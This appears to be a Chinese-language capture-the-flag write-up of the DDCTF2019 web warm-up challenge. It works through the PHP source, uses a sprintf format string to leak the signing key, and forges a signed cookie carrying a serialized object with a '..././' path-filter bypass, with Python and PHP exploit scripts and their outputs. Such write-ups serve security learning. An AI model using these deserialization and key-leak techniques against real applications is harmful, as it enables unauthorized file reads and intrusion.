开始搞 WEB 不久,最近做了 DDCTF2019 的 WEB 签到题,虽说是签到题,但对我这种初学 WEB 的来说其实不是很简单,学到了不少。在此做一些记录。

index.php

url:http://117.51.158.44/index.php

进去之后提示 ”抱歉,您没有登陆权限,请获取权限后访问-----“,查看 index.php 源代码发现

1
2
3
<body onload="auth()">
<div class='center' id="auth">
</div>

看到执行了 js 的 auth() 函数,查看 index.js 的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

发现函数使用了 ajax,并且向 app/Auth.php POST 一个 json,如果成功,则接收数据并改变 index.php 中 id 为 auth 的 div 的值。

了解了这里的原理,还发现 beforeSend 会设置请求头 didictf_username,但是这里值为空。

尝试直接请求 app/Auth.php 并且设置头部为 didictf_username:admin。结果返回了如下 json:

{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\\/fL2XID2i0Cdh.php"}

fL2XID2i0Cdh.php

访问 app/fL2XID2i0Cdh.php 发现有两个 php 文件:

app/Application.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Class Application {
var $path = '';

public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

app/Session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";

public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}

$ddctf = new Session();
$ddctf->index();

可以看到 Session.php 中的 Session 类继承了 Application.php 中的 Application 类。注意到 Application 类有 __destruct() 函数,可以读取文件,并且根据提示可以得到 flag 路径为 config/flag.txt(当然不能直接访问,需要用户名和密码。。。),根据过滤和限制条件可以构造 path 为: ..././config/flag.txt__destruct() 函数在对象销毁时会执行,而且源码存在反序列化的语句,所以现在的问题是如何传入序列化后的代码。

看到最后 ddctf 是 Session 类的一个对象,然后执行了 index() 函数,然后进入 session_read() 函数,如果没有正确的 cookie,则会返回 FALSE,进入 session_create() 函数然后 setcookie。

所以先获取一个 cookie:

1
2
3
4
5
6
7
8
9
import requests

url = 'http://117.51.158.44/app/Session.php'
headers = {
'User-Agent': 'Mozilla',
'didictf-username': 'admin',
}
r = requests.post(url=url, headers=headers)
print(r.cookies)

得到 cookie:
ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2202276843887799f827eb248c5d0fa47d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22112.48.20.33%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A7%3A%22Mozilla%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D23a5a01eff6bd4cd0f118017428a5200

url 解码后为:

ddctf_id=a:4{s:10:"session_id";s:32:"02276843887799f827eb248c5d0fa47d";s:10:"ip_address";s:12:"112.48.20.33";s:10:"user_agent";s:7:"Mozilla";s:9:"user_data";s:0:"";}23a5a01eff6bd4cd0f118017428a5200

可以看到前面是序列化后的 Session,后面是 eancrykey + Session 的 MD5 值。因此无法直接传入序列化后的 Application 类的对象,但发现可以通过 nickname 这段代码获取 eancrykey 的值:

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

这段代码获取 POST 的 nickname 的值,然后和 eancrykey 组成一个数组,然后取这个数组的每一个值,用 sprintf 函数将 data 作为可格式化的字符串,将数组中的每一个值写入 data 中得到新的 data 值。因此可以将 nickname 的值设为 %s,这样经过第一次格式化之后 data 的值仍为 Welcome my friend %s,然后第二次格式化就可以将 eancrykey 的值写入 data,然后传回客户端了。

那么用得到的 cookie 向服务器 POST nickname:

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://117.51.158.44/app/Session.php'
payload = {'nickname': '%s'}
headers = {
'User-Agent': 'Mozilla',
'didictf_username': 'admin',
'Cookie': 'ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2202276843887799f827eb248c5d0fa47d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22112.48.20.33%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A7%3A%22Mozilla%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D23a5a01eff6bd4cd0f118017428a5200'
}
r = requests.post(url=url, data=payload, headers=headers)
print(r.text)

得到:
{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla"}

现在得到了 eancrykey 的值为 EzblrbNS。

由于需要计算 MD5、序列化等,这里直接写 php 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
Class Application {
var $path = '..././config/flag.txt';
}
$p = serialize(new Application);

$key = 'EzblrbNS';
$md5 = md5($key. $p);

$url = 'http://117.51.158.44/app/Session.php';
$cookie = 'ddctf_id='. urlencode($p. $md5);
$payload = array('nickname' => '%s');
$head = array('didictf_username: admin');

$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_POST => TRUE,
CURLOPT_HTTPHEADER => $head,
CURLOPT_USERAGENT => 'Mozilla',
CURLOPT_POSTFIELDS => http_build_query($payload),
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_COOKIE => $cookie
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
?>

得到:

{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\\/fL2XID2i0Cdh.php"}{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}

最终得到 flag。

这道题并不难,只是代码审计方面比较多,牵扯一些基本知识。这也算我真正开始打 WEB 了。